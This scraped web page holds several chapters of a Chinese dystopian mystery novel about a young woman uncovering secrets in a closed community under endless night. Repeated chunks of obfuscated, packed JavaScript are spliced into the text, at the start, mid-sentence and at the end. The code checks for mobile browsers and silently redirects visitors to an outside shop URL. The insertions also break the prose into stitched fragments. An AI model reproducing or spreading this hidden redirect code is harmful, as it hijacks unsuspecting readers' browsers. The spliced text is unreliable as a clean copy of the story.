;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983363|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一声,让纪令闻彻彻底底回归现实。 她抓住游骋的手,抿直的唇线微动,半晌才说:“你究竟是怎么知道我名字的?” 这些天的事,她并非全然不懂。 寻着细枝末节,纪令闻也大概察觉了什么,比如游骋瞒着自己做了什么,走投无路之下他只能选择一条极端的路,再比如张杉的死也和这件事有着千丝万缕的联系。 “手册上的内容不可全信,你得有所保留。”游骋认真地回应,他嘴里出来的每个字都咬得很轻:“我说话,你不会听。” 这个说辞很生硬,却能兼顾到两人的体面。 纪令闻不是蛮干之辈,有远见有自己的判断,她干什么事情,只因为自己想要这么做,不受任何人撺掇干涉。 她会算明白这笔账的。 不知道背后的故事就没有发言权。隐瞒会让居民幸福指数更高,但完全隐瞒又是万万行不通的,稀里糊涂固然能打造完美幻觉,但被揭开之后才能视线真正的共处,某种意义上……从社区建立之初就在等待那个人的到来。 可是,游骋的眼神却在告诉纪令闻,刚才她说的话他是一个字都没听进去。 · 纪令闻到达检查站,魏站长并未现身,郑嘉树向她透露魏站长因工作调动暂时离岗,什么时候回来没个准儿。 也不知道是刻意安排还是无意疏漏,值班表纪令闻轮空了。这意味着,她这个月的考勤绩效无法达成。 但纪令闻不想计较,因为已经有了额外收入,就陪状态不好的安珀去了医务室。 不过路上的时候,她忽然想起来一茬,问安珀:“昨天我是怎么回来的?” 一直到去医务室也没听见安珀提。 入职检查站以来,纪令闻是游骋表妹的消息不胫而走。魏站长还算一视同仁,但自从纪令闻随同事从下区回来,关系就不能和前夕同日而论了,且这背后的缘由颇为庞杂,直觉告诉纪令闻,肯定不是临时调整那么简单。 果然,安珀顿住脚步,语出惊人:“是指挥官亲自从外边抱回来的。你当时睡得可香了,我都不敢想。” 纪令闻打了个措手不及,突然有些后悔自己多嘴问这一句了。 这种事,游骋压根就没打算让她知道,否则也不会闭口不提了。 医务室与检查站相隔甚远,孤零零地坐落在路灯无法穿透的阴影里,迈进门槛那刻,纪令闻就被一股阴冷包围。 走到路程尽头终于看到一抹光亮。 医生眼袋很重,看起来像连续数日没合眼,在询问安柏的症状过后,并借助专业仪器检查了各项指标,然而所有指标均正常。 此时,纪令闻不经意间把目光投向屏幕上呈现的热成像图,还没来及细看,医生的身影就挡住了她的视线。 她神情坦然,没半点被抓包的羞愧,顺势提出要求:“我也想检查一下,身体不太舒服。” 医生的手揣进白大褂衣兜里,意简言赅道:“你们该回去了。” 可就在纪令闻准备继续纠缠的时候,安柏却招呼着她往回走,不要回头,根本没觉得医生撵人有何不妥。 11. 第 11 章 食堂推出了新口味的菜品。 是应季蔬菜沙拉,不限量,每位居民均可享受。 自从得知这些蔬菜是怎么种植的,连看都不想看,更别提吃了。 来食堂就餐是一门学问,上次纪令闻还能在游骋带领下走快捷通道,下次那些托熟的人来的都比纪令闻晚,却能比她更早打上饭。而现在,都去蔬菜窗口规规矩矩排队去了。 纪令闻一直没法理解,大家吃饭的时候口口声声抱怨食堂的饭菜,结果还照样来食堂吃饭。如果每个人都能说到做到,那她每次来食堂也许就不用这么麻烦。 游移片刻,纪令闻还是走向自助打印机旁自定义了个卷饼,不过由于缺勤她被限制了肉食的选项,就随便抹了点酱料,坐到座位上慢慢咀嚼了起来。 但吃着吃着,最里面那层缀着绿生生的香菜。 纪令闻对香菜这种食物是避而远之的,她皱着眉把香菜挑出来。 身后食堂饭点人挤人,大多都在抢新鲜蔬菜。 游骋随后就到,看着纪令闻的动作点了一份肉食套餐,在她斜对面坐下,目光落在她餐盘刻意挑出来的香菜。 他握着筷子夹给她一只鸡腿,没怎么看她,声音依旧凉薄:“拿只鸡腿给你换,我爱吃香菜。” 纪令闻茫茫然看着那只油润润的鸡腿,压根没想到他会主动跟她搭话,刚才全程他都没在看她一眼,还以为他会跟他那两个属下同坐。 毕竟时冷时热的态度,也不是第一次了。 但爱吃香菜? 纪令闻这一次总算能悄悄观察他,吃相很好,不挑食也不抢食,与其他人的区别就是就是吃的很快,不到十五分钟就吃完了。 怎么有人这么爱吃香菜?纪令闻百思不得其解。 这边,游骋已经面不改色吃了香菜,仿佛刚才提出交换的,并不是他本人一样。 她没客气,将那只鸡腿解决能有八分饱。 周围一片哄闹,这时游骋的机械手臂响了起来,看了纪令闻一眼,然后扶了扶耳麦线,毫不避讳地接了起来。 “知道了,你看着办吧。” 游骋应了一声,准备挂断通话,纪令闻像是预判到他要干什么,在他手指悬在挂断键的空隙,及时出声:“等等。” “……” “你为什么不避开人?”纪令闻戒备心很强。 沉默了两秒钟,没等游骋主动挂断,那边率先结束了通话,纪令闻被一双眼睛紧紧锁定。 那双眼睛是纯粹的黑,触不着底,清醒的近乎冷酷,然而他唇角挑起的弧度令人无所遁形。 以为他又要说些似是而非的话,纪令闻的手指蜷了下,正要说什么,游骋总算分给了她一记眼神,说不出的意味。 “纪思源的入园手续我已经办妥,萌芽园那边需要你做个验证,很快他就能去那里学习了。离检查站不远,你随时都能去看他。” 萌芽园是智核社区里类似托儿所的机构,主要传授生活技能以便日后分配工作,只不过随着近些年新生儿减少,不再像以前名额那么紧张。 当前居民精神指数低,大部分不愿意生育了。换做以前,托关系都进不去,需要层层选拔。 对纪令闻来说,算是了却一桩心事。当然要感谢一下,况且他好像很喜欢着手安排和她相关的一切事宜,尽在掌握的感觉确实好。 纪令闻将之归为,做同伙好伙伴的自觉。 和上次强行将她带走没什么两样,都是有唬人成分。 游骋不想在纪思源问题上聊太多,不回应了,偏偏纪令闻善心起来了,还问他:“我能为你做点什么?” 没什么杂念的。 游骋的表情沉稳,语气也很淡然:“没关系,这没什么大不了的,别放心上。” 说着,他就绕过纪令闻往前走了,脸色不知道是不是没休息好还是别的什么原因,不算太好。 安柏在旁边目睹全程,惊掉了下巴,“鸡腿换香菜?你就这么吃了?” “吃就吃了,有什么说法吗?”纪令闻是真想听。 安柏跟纪令闻这个后来的说不清,抓狂了:“蔬菜,这可是新鲜蔬菜!” 紧随其后的李宝嘉开了这个口:“菜价比肉价贵将近四百工时,平时都不舍得吃,今天免费不限量,当然要吃回本了。” 两个室友都打了满满一盘蔬菜,还淋上沙拉酱,看起来一出土就运到上区来了,新鲜的很。 纪令闻无法当做视而不见,但显然也不能让室友也吃不下去,索性不再说话。 最初只是好奇外面的世界,但随着融入社区后,却觉察出不寻常,社区似乎刻意隐瞒着什么。 一石激起千层浪。连同张杉的死在内,整个事件都谜团重重。而调查却在此时意外中断。 似乎所有努力都在围绕着揪出那个匿名举报人展开。 而真正将纪令闻一肚子疑惑推向顶峰的是,日光节的到来。 彼时,广播中传来一道机械音: “各位居民请注意,明天是日光节,全体居民均放假一天。庆典如期举行,请于下午13:00准时前往迷雾广场集合,与我们共度这个难忘的佳节。” 原本还精神不振的人群,忽然爆发出了热烈的欢呼声。 日光节,正如其名,是纪念太阳的节日。 永夜之后,这个节日应运而生,意在告诉后世子孙,太阳曾经照耀过世界,给予人类无尽的温暖与光明。当然了,那是电灯不能匹敌的。 突如其来的日光节打乱了纪令闻的思绪,这让她对未来的日子隐隐发愁。 好在许久没动静的掌心,用文字给她指了一条明路。 「不论在检查站被领导如何刁难,不要表现出任何不满,向领导说,让她解决。如果她对你展开报复,请立即检查自己是否触犯了禁忌。」 端正规整的字体,‘禁忌’两字有一滴墨迹晕开。 这一条由不得纪令闻不信,从下区之行就处处透露着不寻常,看来规则和人情世故同等重要。 下面的字体十分潦草。 『留在检查站。必须,时刻。』 时刻被划掉了。 『小心▇▇▇▇▇▇▇▇番茄』 这段字看不清,仿佛是用血写上去的一样,显得非常诡异。 『太阳升起来了,但光芒并未照耀到您,此刻,我们即将沉没梦乡,就在瞬息之间。』 每个字都认识,可组合在一起却读不懂。 两种迥异的笔迹沿着手掌的纹路缓缓流淌,交融、盘绕,最终扭曲着渐隐不见。 随后浮现的,是一行行奇怪的字符。 死死死死死死死死死死死死生生生生死死死死死死死死 你你你你你你你你你你你你我我我我您您您您您您您您 不不不不不不不不不不不不要要要要可可可可可可可可 .杀....杀...杀杀..杀 .走....走...走走..走.....走 仔细观察的话,还能发现一点规律。 就是太谜语人了,纪令闻觉得这比书面上的规则难解读得多。 更奇怪的是,纪令闻发现自己脑子想不起父亲的样子。 明明知道自己有个亲人,是父亲,可是父亲的脸也如同蒙着层毛玻璃一样,怎么都看不清。 也就是社区发生所有不合理的事都被合理化了,留在检查站工作无疑是最明确的选择,还能提供更多的信息。就像员工入职培训手册说的,活下去。 因此,当听说魏站长回来的消息传来,纪令闻第一时间就堵在办公室门口,郑重道歉,并坚决地表明自己要继续为检查站效力的意愿。 “站长,我会好好珍惜这份工作,不辜负您对我的期待。” 时不时有同事侧目张望几眼,还以为纪令闻转性了。 本以为还要费些口舌,魏站长却答应的很痛快,“当然可以。这是你的自由。两天前内部进行了调整,你现在已经通过考核了,恭喜。” “那就麻烦您把值班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983364|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表给我一份。”纪令闻大大方方。 把人送走,魏站长脸上的笑容像翻书似的收了个干净。 · 早间的停电风波没有影响日光节开幕仪式正常进行。 管理员一如既往地缺席,只有各个场所负责人和居民们参加,无非是轮流致辞。 “这么大的日子,管理员每次都推脱,老是不出面参与,到底是怎么回事?”短暂休憩,一位年轻的水处理室组长摆弄着,似笑非笑地看向游骋。 游骋无言,捧着微型电脑靠在椅背上,修长的手指在键盘上快速敲击了几下,连眼皮都懒得抬。 沉默,是上位者的特权。 坐在观众席的纪令闻将他微妙的情绪尽收眼底,垂在两侧的手几不可察地动了动。 水处理室组长的话即将掉在地上。 适才核电站站长接过话头,叹了口气:“你这都不叫事儿,我升到站长都三年多了,管理员的影子都没见着呢。” 旁边的人纷纷附和。 “是啊,老能接到指挥中心发来的工作规划,提交上去的报告每次都有管理员的签字盖章,但就是,从没见过管理员的真面目。” “指挥中心不是历来都是封闭的吗?谁知道管理员到底在不在呢。” “可话说回来,你们没觉得管理员对咱们这里的一切情况,都了如指掌吗?” “我上次失误打碎了采集的血样,没多久就收到了处分批评。管理员说不准就在某处看着咱们。” 见游骋心思不在这,核电站站长点点头,搬着椅子往他那边移了一点,突然半开玩笑地说道:“那也可能是管理员在咱们这儿有眼线呢,你说是不是啊,游指挥官?” 无人注意的角落,扬声器的小红点还亮着,这句话顺着扩音瞬间传到很远,在场所有人都听了个完完整整。 周围静谧得像是连根针掉下来都能听见,陷入尴尬至极的局面。 游骋蓦然重重敲下回车键,收起微型电脑,起身离席。 纪令闻稍抬眼睑,意外地闯进一道视线,神色寡淡寡淡,不是游骋又是谁。 她眨了下眼,安安静静地看着他,焦茶色瞳仁清明,没半点不明所以的失焦感。 在这个对视中,他俩都心照不宣。 这人表面和和气气,但实际笑里藏刀,十足的笑面虎,笑容的背后可能隐藏着某种目的,不得不防。 众人被这突如其来的风波弄得惊愕不已,开始交头接耳,都觉得这事太有冲击力了。 核电站站长低声说:“这小姑娘还挺漂亮。” “小声点。连游骋表妹的主意你都敢打。”旁边的电台台长紧张地捅捅他,补充,“她不知道从哪儿冒出来的,可不能小觑。” 话已经放在这儿了,听不听就是别人的事了。 这时,核电站站长将矛头指向纪令闻,“小姑娘,你表哥走了你过来坐。” 纪令闻要是真坐那就很没眼力见。 她对这些不怀好意早就有了一套应对方法。 检查站站长和游骋有过节,但凡有眼睛的都看出来了。 这一刻核电站站长想的很想当然,游骋实在目中无人,自己不过是请他办件事,好声好气捧了一个月还不帮,那就兄债妹偿给个教训。 纪令闻只要肯低个头,说两句好听的,也不是不能给游骋个面子。 结果纪令闻的反应和核电站站长意料之中略有不同,原本以为会是不敢直视,最起码也是害羞青涩,此时却释放出一种不属于年龄的凌厉,颠覆性的气息令人难以忽视。 她动都没动一下,这话的屈辱程度和她前段时间受到的比起来,没有可比性。 凭这眼神,检查站站长想起大事记中记载的枷锁之心,给人的感觉简直如出一辙,一样的怪谲、危险。 他试图找回气势,毫不掩饰恶意:“你就不怕探险的名额有你吗?” 话音落下,全场骤然安静了下来,一片死寂,就连其他场所负责人额头都不禁冒出了冷汗。 12. 第 12 章 没人知道智核社区是谁创建的。 居民们出生到死亡都在这片土地上,遵循着固定的生活模式,他们唯一知道的是永夜和极低温画等号,但凡有人出去将必死无疑。 名为探险,实为送死。 毕竟躺平的本质是对抗压榨和社区规训,并不是不想劳动创造,只是不想异化劳动。 所以社区的管理员颁布了明确禁例,禁止发表‘离开这里’的言论,违者将会被驱逐到社区之外。不可撤销。 这就是智核社区的基本法。 可即便这样,还是有人会每隔一段时间试图脱离社区,但他们都没能逃脱失温冻死的结局。 距今还没有听说过谁拿这种事威胁一个小姑娘。 在场的人看向核电站站长的目光,都带着几分鄙夷。 纪令闻在这方面研究花了点心思,既然快节奏的永夜时代规则已经变得不再可靠,那就在逻辑上下功夫。 她眯了眯眼,有个坏心思悄然冒头。 话都说到这份上,纪令闻也不再跟他兜圈子,眉梢挑出很轻的弧度,似乎饶有兴趣地说:“那一定很有意思。” 满是抑制不住的兴奋。 人群中响起阵阵倒吸凉气声,也不知道是在赞叹她的勇气可嘉,还是在惊呼她的不自量力。 总之,纪令闻一战成名。 成为日光节当天继社区管理层矛盾后讨论度最高的人物。 日光节开幕式过后,大家都散了,纪令闻听见有人喊了自己的名字。 “令闻姐,你千万不要逞能,那可不是闹着玩的。” 郑嘉树呼出白气,快步跑到纪令闻身边紧挨着说话。 舆论带来的力量平复了针对,纪令闻看了郑嘉树一眼,给出了一个极为简短的答复:“哦,这样。” 郑嘉树努努嘴,往纪令闻怀里塞了一捧郁金香花束,上面有张笑脸贴纸,然后就埋头一溜烟跑没影了。 严格意义上讲,那不是真正的鲜花,而是彩色折纸叠成的郁金香,虽然精致度有所欠缺,但好歹能看出手工痕迹是用了心的。 “送花?”安柏嗅到了八卦的味道:“他这是对你有意思?” 难得的假期,纪令闻打算在社区里转转。她手已经环着那捧花,打算明天工作再去还,留一对空泛杏核眼看过去:“有意思。” “真的?”安柏再一次张圆了嘴。 纪令闻冲安柏认真地点了点头:“我觉得你也挺有意思的。” 她认为,一个人对另一个人有意思,是在发出建立友谊的邀请。 通过观察安柏的表情,纪令闻察觉到自己的理解还是太浅薄了。 安柏看那捧折得像模像样的郁金香,不由啧啧称奇,郑嘉树这小子,和检查站其他男性完全不同,从不油腻耍帅,也没交往过对象,和女同事们更没什么共同话题,可看起来也没那么一心扑在感情上。 还有,纪令闻一天到晚都在干嘛? 安柏怕她错过良缘,好心补充:“郑嘉树人长得也不错,这次考勤绩效还是站内前十,收入稳定呢,你确定不接触一下?” 在这种时代,结婚和生育算得上人生两大事。 之前社区鼓励结婚,提倡生育,结果大家都不买账,每年死亡人数持续超过新生儿数量,生孩子的事就更加无暇顾及。也幸好管理员并未采取强制措施。 至于恋爱嘛,其实也没那么不可或缺。左右是个消遣。 “我对年轻的不感兴趣。”纪令闻思绪游离在外,只分出一点心神草草回话。 “说这种话,你不才二十三岁吗?郑嘉树可是比你大一岁呢。” 安柏哪里知道。 纪令闻自己都不知道自己的年龄,只知道体感时间过了很久很久,在家里的时候。 两人聊着聊着步入下一层阶梯,这里有群人身穿破烂的衣物,肩背书包,列队行走,边唱边跳,脸上不约而同地画着冻伤的印记。 突然,其中有一人振臂高呼:“我们要挣脱束缚,追求自由!” 下一秒大风骤起,队伍中的人仿佛被严寒瞬间吞噬,倒下不懂,仿佛凝固成冰。在孩子们拍手叫好中,他们又神奇地站了起来,弯腰鞠躬,齐声祝贺道:“日光节快乐!感谢太阳曾赐予我的温暖,愿光明驱散黑暗!” 似乎表演一场大型戏剧。 纪令闻只扫了一眼就在孩子堆里,看见了纪思源,他慢半拍地鼓鼓掌,两只眼睛都没在看表演,显而易见,兴趣寥寥。 此类教育,旨在通过潜移默化的影响,让人们深知,一单离开社区,就只有死路可走。 但为什么她会先入为主地认为这是一条不归路呢? 纪令闻没有往深想,纪思源已经朝这边跑过来,摇头晃脑,背带裤也跟着晃荡。 小家伙蹭地跑到纪令闻面前,仰着头偷偷观察她半天,像受了天大的委屈似的,小脸裹在番茄针织帽里,底气不足地问:“小姨总不来看我,是不是不要我了?” 他刚才在偷看纪令闻,纪令闻当然也在偷看他。见纪思源问的有些较真,她的睫毛颤动了下,似乎略有惊讶。 安柏也是刚知道纪令闻有个侄子,纪思源稚气未脱,但五官精巧,长得挺可爱的,特别是那双眼睛,忽闪忽闪的,一看就是那种很机灵的小孩。 再加上纪思源软软喊了声姨姨好,就忍不住稀罕地捏了捏小孩的脸,逗着玩。 纪令闻确实不太亲近这个小侄子。 绝对没有把他丢掉的想法,但也不会当成宝贝蛋看待就是了。 当然这种话说出口就要考虑到风险。 于是,纪令闻迎上纪思源期待的目光,吐出的话语却带着点现实:“扔又扔不掉,只能养着了。谁叫我们是一家人呢。” 纪思源对这个回答不太满意,伸出小短手扯住她衣角,小心翼翼抬头打量了一下纪令闻的神色,没有把他丢掉的意思,这才示好地晃了晃。 纪令闻不排斥。 没多久,安柏就有事先走了,纪令闻领着纪思源去逛日光节圣典。 经过一处摊位,无偿答题可得随机小礼品,停留的人不多。纪思源表现得很感兴趣,又怕纪令闻走远了,只能三步一回头看着,那小模样还真可怜。 纪令闻想不注意都难。 她停驻脚步,跟纪思源大眼瞪小眼。这样才不至于那么被动。 见此情景,摊主好言劝道:“你这当妈妈的,难得孩子有这么个喜好,出题都是关于社区的历史,不如一起来试试手气吧。” 太多需要纠正的点让纪令闻欲言又止,话到嘴边却懒得解释了,她只觉得解释无益。 反而在这时候看到了熟人。 游骋身边只跟着tyz478一个,他低声交代了几句,tyz478立刻领会,朝纪令闻这边扫了一眼就走了。 “在看什么?” 纪思源听见游骋的声音,像很开心他能来看自己,乖乖地瞅着他越走越近,等游骋走到自己面前递上几颗糖果时,才歪着脑袋喊了声:“游骋叔叔。” 游骋径直走过来,福袋交给他,“礼物。” “哇!”纪思源很满意,双手捧着糖果,安静又乖巧地在旁边吃糖,小脸蛋鼓鼓的,含糊不清地说:“小姨也有礼物哦。” 纪令闻手上唯一能说的上是礼物的,也就那捧郁金香折纸花了。 游骋随口问:“今天什么时候买的?”表情寻常像是在问一件小事。 “不是,是郑嘉树送的。”纪令闻说。 游骋显然对这个名字不陌生,动作迟滞了几秒,眼神深了又深。 正想在人堆找找郑嘉树的时候,游骋很自然地凑过来,脸快要贴到一块儿,纪令闻以为他要跟她抢,吓了一跳,下意识杵在那儿一动不动。 但游骋只是把她的恒温服的拉链拉到顶,俯下眼见纪令闻梗着脖子,怔了下,“怎么了?” 纪令闻听到他这个‘怎么了’,才意识到自己反应过度,“没怎么。” 她按在后脖颈,整个人变得机械而迟钝,后脖颈成了她行动的开关,只有被按下才能勉强运转。 但身侧的男人并没有离开,反而拿起一朵钢铁玫瑰,在纪令闻的额头碰了碰。 问她:“是想要这个?” 纪令闻窥探着游骋的神色,只觉得有些猜不准他的心思。 没等人回答,游骋看向摊主,“出题吧。” 纪令闻还在想社区能有什么历史,突然看见纪思源的脑袋从腋下凑上前来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983365|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好在纪思源玩得兴起,没有再探究到底,纪令闻这才侥幸逃过一劫。 整个社区就没有不认识游骋这张脸的,摊主也不想跟他硬碰硬,清了清嗓子说:“社区唯一不禁止的是什么?” 这是个笼统的问题。 社区禁止的条目数不胜数,要说出一个不受限的行为,一时半会而还真想不出来。 游骋皱起了眉,厉声道:“你涉嫌非法套取机密……” 纪令闻不确定游骋是什么想法,她不给他说完话的机会,偏头看了他一眼,没什么语气地说:“我想,社区唯一不禁止的就是,探险。” 从她嘴里说出来就轻飘飘的,不曾犹豫,给人一种跃跃欲试的试探感,根本让人跳不出错处。 不一定是标准答案,却是事实。 纪令闻也是被刚才那场戏剧给点醒了。 戏剧表演的内容,都是社区的历史。她很清楚自己在干什么。 游骋掀起眼皮,原本的话到唇边临时压下去,不知道想到什么,处变不惊地问:“她答对了吗?” 言尽于此,但他好像说的没有问题。 纪令闻暗暗想,游骋这个人行事真严谨啊。 摊主一听吓死了,连连摆手:“这可不兴说,礼品都在这而了,你们赶快自己挑个吧。” 纪令闻给纪思源使了个眼色,后者立马挑了个太阳形状的玩偶,游骋还不忘带走那朵钢铁玫瑰,皆大欢喜。 没多久,就有越来越多人凑热闹,摊主怕事情闹大,赶紧卷铺盖头也不回地跑路。 走到一半,天空突然飘下小雨。 行人匆匆去屋檐躲雨,纪令闻牵着纪思源正要跑过去,游骋随手撑开一把黑色手柄伞,举过她头顶,他的声音沉到像是在贴耳说话:“过来我这。” 她钻进他伞下,等到屋檐下的时候,怀里的折纸花早就被淋湿,洋洋洒洒掉了一地。 而游骋手里的那朵钢铁玫瑰,水珠滑落,色亮如新,更显铿锵。 这么一看,钢铁玫瑰,比纸折郁金香得结实多了。 本来就三个人躲雨,没想到躲到一半,郑嘉树跟李宝嘉来了。 纪令闻还在想雨是从哪儿来的,她身形不瘦,当然也胖不到哪里去,苍白的肌肤映衬下显得风一吹就倒了似的。纪令闻安安静静站着的时候,还是那个纪令闻,又似乎多了几分心如止水。 李宝嘉是来告诉她一个消息的:“检查站那边,有个衣冠楚楚的中年男人,自称是你父亲。” 纪令闻印象深处,确实存在一个模糊而遥远的身影,那是她父亲的形象。对于他的记忆,如同被岁月的尘埃轻轻覆盖的老照片,边缘泛黄,细节斑驳。 她只记得,在某个阴郁或是晴朗已无从分辨的日子里,父亲以一种近乎严厉却又带着几分关切的口吻警告她:千万不能出门。 那句话,像是一道无形的枷锁,将纪令闻束缚在了那一方天地里。 那时的她,或许还年幼无知,对外面世界的未知与危险一无所知,只是本能地听从了父亲的告诫,心中虽有好奇与渴望,却也未曾真正踏出过那道门槛。 然而,关于那次警告前后的情景,纪令闻的记忆却如同被擦去了一般,空白一片。 更重要的细节一点都想不起来。 李宝嘉招呼郑嘉树把复制的证件递给她。 郑嘉树把身份证件和通行证都拿出来,就在纪令闻仔细对比信息的时候,游骋却不请自来地伸手夹走,然后翻转一下放到纪令闻面前。 他说:“通行证的有效期过了。” 当纪令闻试图从证件中捕捉到关于那段时光的碎片,翻找可能遗落的线索,但一切努力都在游骋这句话里石沉大海。 纪令闻旋即顿了那么几秒,说了句谢谢。 这两人来通风报信之后,屋檐下的氛围不再轻松。 纪令闻把纪思源交给李宝嘉之后,就独自前往了检查站,果不然,见到门外一个穿着非常考究的中年男人,鼻梁架着金丝眼镜,脚边是行李箱,看起来就像刚出差回来。 看见她出现时,中年男人摇了摇头,“你不该出门的,令闻。” 纪令闻也不跟扯有的没的,只问他说:“父亲,我姐姐死了你知道吗?” 13. 第 13 章 出差一趟归来,得知大女儿死讯,中年男人那完美面具并未显露出丝毫破绽,或者说,失态。他张开双臂,用一种异常冷静的语气说道:“死是常态,百年之后既没有我,也没有你,你姐姐享了那么久的福,这是她应得的。” 他的语气那么安谧,那么枯燥,就像一大锅无色无味的清水,被烧得滚沸,却缺乏饮用水的味道。 这几天的风波太过惊险和刺激,纪令闻开始觉得死亡是再普遍不过的事,没想过如果尽头仍是一片迷雾该怎么办。目前找不到任何形式的答案,似乎除了继续浮动,别无选择。 就在这时,检查站的执勤人员催促他们别磨蹭,用的称谓是纪先生。 然而父亲的真实姓名,是纪令闻在证件上看到过的须时运,与纪姓并无关联。至于母亲的姓名她至今还不知悉。 “那我母亲呢,她的死是意外还是人为?”纪令闻敛眸,忍不住发出猜忌。 “你早晚也会陷入挣扎和矛盾之中。”须时运看了眼护栏内的纪令闻,嘴角勾起一抹冷笑,“就跟你母亲一样。” 后面的话,须时运没说,但纪令闻有种预感,眼前的父亲没有说谎,但又似乎有些事情没有坦白。 最早的记忆始于那个由父亲、母亲、姐姐和她组成的四口之家。但好景不长,父亲公然在母亲面前出轨,而母亲对此不管不问,日复一日地坐在电视前。 “一个人看电视太冷清,你来陪陪我。” 荧幕的光亮投射在母亲脸庞,灰青与死白之间跳跃、变化。 母亲向她抛出了这么一句话,语气与平日无异,纪令闻没有察觉到母亲的异常。不过母亲确实说了“冷清”。 电视里播放的是关于伪人如何模仿人类的教程,纪令闻知道这个录像带全损画质,可她每次都陪同母亲观看。那天进度条放到伪人强化那段时,父亲恰好回家,母亲顺势把电视关了。 吃完饭,纪令闻又像往常坐到沙发中间。父亲坐在她的左手边,母亲坐在她的右手边,两个人都全神贯注地看电视,母亲突然转过头来,一脸阴霾地对她说:“我不会让我的研究成果被窃取的。” 某天父亲冷冰冰地告诉她,母亲死了。 也不知道是什么时候发生的改变,刚开始她根本就浑然不觉,等她察觉的时候,情况已经发展到那个地步。 对一个从来没给予过父爱的人,纪令闻不想再认命屈从,她要做的事情更多。 微黯的光线中,纪令闻怎么会败下风,她语速很快地说:“我确认他就是我父亲,放不放行,我说了不算。” 她一字一顿地说完,没有给须时运留下插话的缝隙,直接转身,步伐是前所未有的洒脱。 看着纪令闻身影越走越远,执勤人员不禁咋舌。 须时运把自己的行李收拾起来穿过社区闸门,自始至终,都没对小女儿表现出一丁点的不满。 这次分开后,不知道什么时候才能再见到他。 不管别人怎么想,但这次纪令闻清楚了一点,那就是纪思源绝对不能交给父亲抚养。 纪令闻回到迷雾广场的时候,游骋立刻把她拽进小胡同里。他额头青筋起伏,闭了闭眼,似是忍了又忍,她朝他身边挤了挤,他的原装手紧紧攥成拳,因太过用力而局部发抖。 “你这是……”纪令闻还没说完,就对上他睁眼望向她的凤眼,殷红一片,染了几分癫狂。 游骋拿着一支装着药剂的试管递给她,喉结再度滑动了下,像是在克制着痛苦,向她提出请求:“帮我注射。” 试管中,一管淡绿色的溶液在试管,静静流淌。 纪令闻不意外游骋提出这样的要求,也没去问注射器里面装的是什么东西,她抽了针管排放空气,进行最后的调试,眉头不自觉地皱了起来:“静脉注射还是肌肉注射?你教教我。” 隔着乱七八糟的医药废物,游骋呼吸很重,机械手臂握成拳抵在墙上,最后喊了她一声,“照这扎。” 直到纪令闻将药剂打在他肩膀上,很快,游骋脸上的肌肉就松懈下来,像是没有痛感一样,眼神平复,好像刚刚差点失去理智的不是他。 纪令闻忽然发现,从他肩膀一直延伸到背的墨线错落参差,迄丽的、萎靡的、流窜的。 她直接问:“这是什么?” 纪令闻的手无意划过那些痕迹,游骋闷声“嘶”出声,吐出五个字:“机械融合液。” 答案和纪令闻想要的并不相符。 机械融合液,顾名思义,显然是针对他那只机械手臂而设计的药物,截肢、安装再到融合,经受的痛苦是常人无法想象的,使用这种溶液护理也在情理之中。 可游骋的过度反应,就像给这件事蒙上了一层纱。 “AI检测到主机体正在重建,为您开启极速模式。精神指数加载中,25%……50%……75%……” 机械手臂显示屏传出的声音驱散了氛围,游骋熟稔地处理掉那支注射器,坐在台阶上,眼里尽是疲惫之色。 纪令闻眉头蹙的更紧了,“和伪人有关?我记得社区正在研发血清。” 迄今为止,社区所做的一切措施,难道不都是为了对抗伪人吗? 游骋转过头,目光往远处瞥去,微眯眼,“伪人不会让人感染,只会顶替某个人的身份,他们研发的那些血清派不上用场。” 别人的话不可信,但游骋的话纪令闻还是愿意相信的。 纪令闻眼中闪过深思:“为什么?” “为什么?”游骋重复着纪令闻的话,他俯身凑近,两人鼻尖若有似无地擦过。 “以前有位故人跟我说,人类总该有所期待,对未来有盼头,活着,才不至于那么空虚。” 游骋那张清绝的脸在纪令闻眼前放大,停驻的那个瞬间,他拍了拍旁边的位置,睫毛在摇曳的路灯中投下不明阴影。 纪令闻坐下,保持不远不近的距离。 她听出他语气掩不住的寂寥,不禁想,跟故人错过的几年,在不知道的地方,他是否早就质变。 很奇怪,她在这种寂寥中得到反馈。 游骋的话让纪令闻感知到社区所有布局都是有效的,她从沉默中抽离,抬眸迎上他的目光,执拗追问:“你呢,你活着有什么盼头?” 纪令闻非要问个明白了。 “我?”游骋稍一沉思,才觉荒唐般回答:“一个妄想。” 话音落地,AI的进度条加载到99%,最后1%却卡住不动,提示音再度响起,纪令闻却无暇他顾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 